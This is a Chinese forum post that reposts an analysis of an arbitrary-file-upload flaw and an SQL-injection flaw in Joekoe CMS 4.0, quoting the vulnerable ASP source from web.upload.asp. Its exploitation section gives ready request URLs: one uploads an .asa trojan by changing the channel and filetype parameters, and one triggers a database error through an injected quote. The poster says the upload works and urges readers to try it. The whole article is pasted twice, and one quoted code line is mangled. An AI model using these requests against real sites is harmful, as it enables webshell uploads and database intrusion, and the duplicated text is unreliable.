老漏洞，，学习一下分析思路。。。
=============
今天是啊坏发给我的软件。。但是只看软件没意思。。
所以顺便找了下这个漏洞。。看了下牛牛的分析。。读懂了里面的意思
所以顺便也发上来
把这个迟来的漏洞给大家看看
----------------------------------------------
乔客(joekoe) CMS 4.0 的2个高危漏洞
前段时间读了读乔客,发现在乔客4.0版本中存在两个高危漏洞,一个上传漏
洞,可以随意上传任意文件,包括ASP,另一个是SQL注入,甚至还有返回错误信息,可
怕啊
上传漏洞:
看\common\include\web.upload.asp 中的代码
----------------------------------------------------------------------
-------------------------------------------------------------
sub doPageLoad()
if APP_STATUS="close" then
treeData.addItem "_status","error.message"
treeData.addItem "_message","网站暂时因关闭维护中！请稍候..."
exit sub
end if
up.doInit()
if not upConfig.isInit then
treeData.addItem "_status","error.message"
treeData.addItem "_message","上传文件的参数不正确！"
else
doPageLoadUser()
select case upConfig.channel
case "forum"
upConfig.setSaveDir(upConfig.getSaveDir&(left
(ops.time.toConvertString("",10),6)&DIR_SEPARATOR))
upConfig.filename=""
case "user.face"
upConfig.filename="face_"&upConfig.userid
upConfig.setSaveDir("face"&DIR_SEPARATOR)
upConfig.filetype="gif"
case "blog.logo"
upConfig.setSaveDir("blog"&DIR_SEPARATOR)
upConfig.filetype="gif"
case else
if instr(upConfig.channel,".")>0 then
upConfig.setSaveDir(mid(upConfig.channel,1,instr
(upConfig.channel,".")-1)&DIR_SEPARATOR)
end if
if instr(upConfig.fileinput,"url")>0 then
upConfig.filetype="affix"
end if
end select
if len(upConfig.getSaveDir())<3 then
treeData.addItem "_status","error.message"
treeData.addItem "_message","上传文件的参数不正确！"
exit sub
end if
if 1=1 then
upConfig.setData "zoom.channel.width",120
upConfig.setData "zoom.channel.height",90
end if
upConfig.setBaseDir(DIR_ROOT&DIR_UPLOAD)
upConfig.setBasePath(opsDirPath(DIR_ROOT&DIR_UPLOAD))
upConfig.setBaseURL(URL_UPLOAD)
up.doLoad()
end if
end sub
----------------------------------------------------------------------
-------------------------------------------------------------
这段代码通过channel判断是否给上传类型赋值,如果channel不等于forum、
user.face、blog.logo的时候判断fileinput是否包含url，如果不包含，
upConfig.filetype就不赋值，继续往下看
----------------------------------------------------------------------
--
if up.isPost() then
call doParseUploadData()
treeData.addItem "_status","succeed"
dim tmpFormMode,tmpFileValue,tmpThumbValue
tmpFormMode="set"
if upConfig.channel="user.face" then
tmpLinkMode="no"
tmpFileValue="#"&up.getFileInfo("filename")
else
tmpFileValue=up.getFileInfo("file.path")
select case upConfig.filetype
case "file"
tmpLinkMode="no"
'tmpFileValue=up.getFileInfo("file.path")
case "pic","spic","pics","affix","gif","jpg","jpeg","bmp","png"
tmpLinkMode="no"
tmpThumbValue=up.getFileInfo("thumb.path")
case else
tmpLinkMode="again"
tmpFormMode="append"
dim tmpFileType:tmpFileType=lcase(up.getFileInfo("filetype"))
select case tmpFileType
case "gif","jpg","jpeg","bmp","png"
tmpFileValue="![](file:///C:/Documents%20and%20Settings/Administrator/Local%20Settings/Temp/www.520king.com/blog/upload/"&up.getFileInfo("file.path")&")
"
case "swf"
tmpFileValue=""
case else
tmpFileValue="[download="&tmpFileType&"]upload_download.asp?
id="&upConfig.fileid&"[/download]"
end select
end select
end if
treeData.addItem "_form.mode",tmpFormMode
treeData.addItem "_form.filevalue",tmpFileValue
treeData.addItem "_form.thumbvalue",tmpThumbValue
end if
----------------------------------------------------------------------
------------------------------
这段代码判断upConfig.filetype，然后定义上传文件的后缀名，只要之前
upConfig.filetype没被赋值，且不是gif,jpg,jpeg,bmp,png,swf,就
tmpFileValue="[download="&tmpFileType&"]upload_download.asp?
id="&upConfig.fileid&"[/download]"，看到这个，大家眼睛都放光了，根据用
户的定义来判断上传类型，就好比问一个要偷东西的人：“你是贼么？”，这段
代码也太XX了，估计之前也有不少人读出来了，只不过没公开而已
SQL注入漏洞
还是在web.upload.asp中：
----------------------------------------------------------------------
----------------------------------
...........
sub doParseUploadData()
dim tmpFilePath,tmpFileType,tmpFileSize,tmpName
tmpFilePath=up.getFileInfo("file.path")
tmpFileType=up.getFileInfo("filetype")
tmpFileSize=opsCommon.toInt(up.getFileInfo("filesize"))
tmpName=up.getFileInfo("name")
dim tmpChannel,tmpDataid,tmpType,tmpSQL,tmpID
tmpChannel=upConfig.channel
tmpDataid=0
tmpType=0
select case upConfig.channel
case "user.face"
tmpDataid=upConfig.userid
tmpChannel="face"
tmpType=1
tmpSQL="select top 1 u_id from db_sys_upload where
nsort='"&tmpChannel&"' and iid="&tmpDataid&""
case "blog.logo"
tmpDataid=toInt(ops.client.getSession("user.blogid"))
if tmpDataid<1 then tmpDataid=upConfig.userid
tmpChannel="blog"
tmptype=1
tmpSQL="select top 1 u_id from db_sys_upload where
nsort='"&tmpChannel&"' and iid="&tmpDataid&""
case else
tmpSQL="select top 1 u_id from db_sys_upload where
u_url='"&tmpFilePath&"'"
end select
..........
----------------------------------------------------------------------
---------------------------------------
看这句tmpSQL="select top 1 u_id from db_sys_upload where
u_url='"&tmpFilePath&"'"，u_url来自&tmpFilePath&，而&tmpFilePath&来自
up.getFileInfo("file.path")，呵呵，没有经过任何过滤就放到SQL查询语句里
面查询了。
利用方法：
1 .上传漏洞：很好利用，把channel变量改一下，只要不等于forum、
user.face、blog.logo就行，然后filetype改成asa,就可以光明正大的上传木马
了，具体url可以这样common/upload.asp?
channel=use&filetype=asa&filename=&fileinput=u_face&formname=&thumbname
=&thumbinput=，然后上传
2. SQL注入漏洞：在Channel变量中加入诸如语句，比如：
common/upload.asp?
channel=use'&filetype=gif&filename=&fileinput=u_face&formname=&thumbnam
e=&thumbinput=,然后上传，就会报错
----------------------------------------------------------------------
------------------------------------------------------------
Joekoe CMS 4.0
错误信息:
select top 1 u_id from db_sys_upload where
u_url='user'/20070722031234c.gif'
原始错误:
Error #-2147217900, 第 1 行: 'c' 附近有语法错误。 Microsoft OLE DB
Provider for SQL Server
返回首页
Processed in 0.188 s, 1 queries, 54 Cache.
*-------------------------
自己试过。。上传没什么问题。。
后面的SQL。。好像已经没什么用了！！自己试吧！
所以顺便找了下这个漏洞。。看了下牛牛的分析。。读懂了里面的意思
所以顺便也发上来
把这个迟来的漏洞给大家看看
----------------------------------------------
乔客(joekoe) CMS 4.0 的2个高危漏洞
前段时间读了读乔客,发现在乔客4.0版本中存在两个高危漏洞,一个上传漏
洞,可以随意上传任意文件,包括ASP,另一个是SQL注入,甚至还有返回错误信息,可
怕啊
上传漏洞:
看\common\include\web.upload.asp 中的代码
----------------------------------------------------------------------
-------------------------------------------------------------
sub doPageLoad()
if APP_STATUS="close" then
treeData.addItem "_status","error.message"
treeData.addItem "_message","网站暂时因关闭维护中！请稍候..."
exit sub
end if
up.doInit()
if not upConfig.isInit then
treeData.addItem "_status","error.message"
treeData.addItem "_message","上传文件的参数不正确！"
else
doPageLoadUser()
select case upConfig.channel
case "forum"
upConfig.setSaveDir(upConfig.getSaveDir&(left
(ops.time.toConvertString("",10),6)&DIR_SEPARATOR))
upConfig.filename=""
case "user.face"
upConfig.filename="face_"&upConfig.userid
upConfig.setSaveDir("face"&DIR_SEPARATOR)
upConfig.filetype="gif"
case "blog.logo"
upConfig.setSaveDir("blog"&DIR_SEPARATOR)
upConfig.filetype="gif"
case else
if instr(upConfig.channel,".")>0 then
upConfig.setSaveDir(mid(upConfig.channel,1,instr
(upConfig.channel,".")-1)&DIR_SEPARATOR)
end if
if instr(upConfig.fileinput,"url")>0 then
upConfig.filetype="affix"
end if
end select
if len(upConfig.getSaveDir())<3 then
treeData.addItem "_status","error.message"
treeData.addItem "_message","上传文件的参数不正确！"
exit sub
end if
if 1=1 then
upConfig.setData "zoom.channel.width",120
upConfig.setData "zoom.channel.height",90
end if
upConfig.setBaseDir(DIR_ROOT&DIR_UPLOAD)
upConfig.setBasePath(opsDirPath(DIR_ROOT&DIR_UPLOAD))
upConfig.setBaseURL(URL_UPLOAD)
up.doLoad()
end if
end sub
----------------------------------------------------------------------
-------------------------------------------------------------
这段代码通过channel判断是否给上传类型赋值,如果channel不等于forum、
user.face、blog.logo的时候判断fileinput是否包含url，如果不包含，
upConfig.filetype就不赋值，继续往下看
----------------------------------------------------------------------
--
if up.isPost() then
call doParseUploadData()
treeData.addItem "_status","succeed"
dim tmpFormMode,tmpFileValue,tmpThumbValue
tmpFormMode="set"
if upConfig.channel="user.face" then
tmpLinkMode="no"
tmpFileValue="#"&up.getFileInfo("filename")
else
tmpFileValue=up.getFileInfo("file.path")
select case upConfig.filetype
case "file"
tmpLinkMode="no"
'tmpFileValue=up.getFileInfo("file.path")
case "pic","spic","pics","affix","gif","jpg","jpeg","bmp","png"
tmpLinkMode="no"
tmpThumbValue=up.getFileInfo("thumb.path")
case else
tmpLinkMode="again"
tmpFormMode="append"
dim tmpFileType:tmpFileType=lcase(up.getFileInfo("filetype"))
select case tmpFileType
case "gif","jpg","jpeg","bmp","png"
tmpFileValue="
"case "swf"
tmpFileValue=""
case else
tmpFileValue="[download="&tmpFileType&"]upload_download.asp?
id="&upConfig.fileid&"[/download]"
end select
end select
end if
treeData.addItem "_form.mode",tmpFormMode
treeData.addItem "_form.filevalue",tmpFileValue
treeData.addItem "_form.thumbvalue",tmpThumbValue
end if
----------------------------------------------------------------------
------------------------------
这段代码判断upConfig.filetype，然后定义上传文件的后缀名，只要之前
upConfig.filetype没被赋值，且不是gif,jpg,jpeg,bmp,png,swf,就
tmpFileValue="[download="&tmpFileType&"]upload_download.asp?
id="&upConfig.fileid&"[/download]"，看到这个，大家眼睛都放光了，根据用
户的定义来判断上传类型，就好比问一个要偷东西的人：“你是贼么？”，这段
代码也太XX了，估计之前也有不少人读出来了，只不过没公开而已
SQL注入漏洞
还是在web.upload.asp中：
----------------------------------------------------------------------
----------------------------------
...........
sub doParseUploadData()
dim tmpFilePath,tmpFileType,tmpFileSize,tmpName
tmpFilePath=up.getFileInfo("file.path")
tmpFileType=up.getFileInfo("filetype")
tmpFileSize=opsCommon.toInt(up.getFileInfo("filesize"))
tmpName=up.getFileInfo("name")
dim tmpChannel,tmpDataid,tmpType,tmpSQL,tmpID
tmpChannel=upConfig.channel
tmpDataid=0
tmpType=0
select case upConfig.channel
case "user.face"
tmpDataid=upConfig.userid
tmpChannel="face"
tmpType=1
tmpSQL="select top 1 u_id from db_sys_upload where
nsort='"&tmpChannel&"' and iid="&tmpDataid&""
case "blog.logo"
tmpDataid=toInt(ops.client.getSession("user.blogid"))
if tmpDataid<1 then tmpDataid=upConfig.userid
tmpChannel="blog"
tmptype=1
tmpSQL="select top 1 u_id from db_sys_upload where
nsort='"&tmpChannel&"' and iid="&tmpDataid&""
case else
tmpSQL="select top 1 u_id from db_sys_upload where
u_url='"&tmpFilePath&"'"
end select
..........
----------------------------------------------------------------------
---------------------------------------
看这句tmpSQL="select top 1 u_id from db_sys_upload where
u_url='"&tmpFilePath&"'"，u_url来自&tmpFilePath&，而&tmpFilePath&来自
up.getFileInfo("file.path")，呵呵，没有经过任何过滤就放到SQL查询语句里
面查询了。
利用方法：
1 .上传漏洞：很好利用，把channel变量改一下，只要不等于forum、
user.face、blog.logo就行，然后filetype改成asa,就可以光明正大的上传木马
了，具体url可以这样common/upload.asp?
channel=use&filetype=asa&filename=&fileinput=u_face&formname=&thumbname
=&thumbinput=，然后上传
2. SQL注入漏洞：在Channel变量中加入诸如语句，比如：
common/upload.asp?
channel=use'&filetype=gif&filename=&fileinput=u_face&formname=&thumbnam
e=&thumbinput=,然后上传，就会报错
----------------------------------------------------------------------
------------------------------------------------------------
Joekoe CMS 4.0
错误信息:
select top 1 u_id from db_sys_upload where
u_url='user'/20070722031234c.gif'
原始错误:
Error #-2147217900, 第 1 行: 'c' 附近有语法错误。 Microsoft OLE DB
Provider for SQL Server
返回首页
Processed in 0.188 s, 1 queries, 54 Cache.
*-------------------------
自己试过。。上传没什么问题。。
后面的SQL。。好像已经没什么用了！！自己试吧！
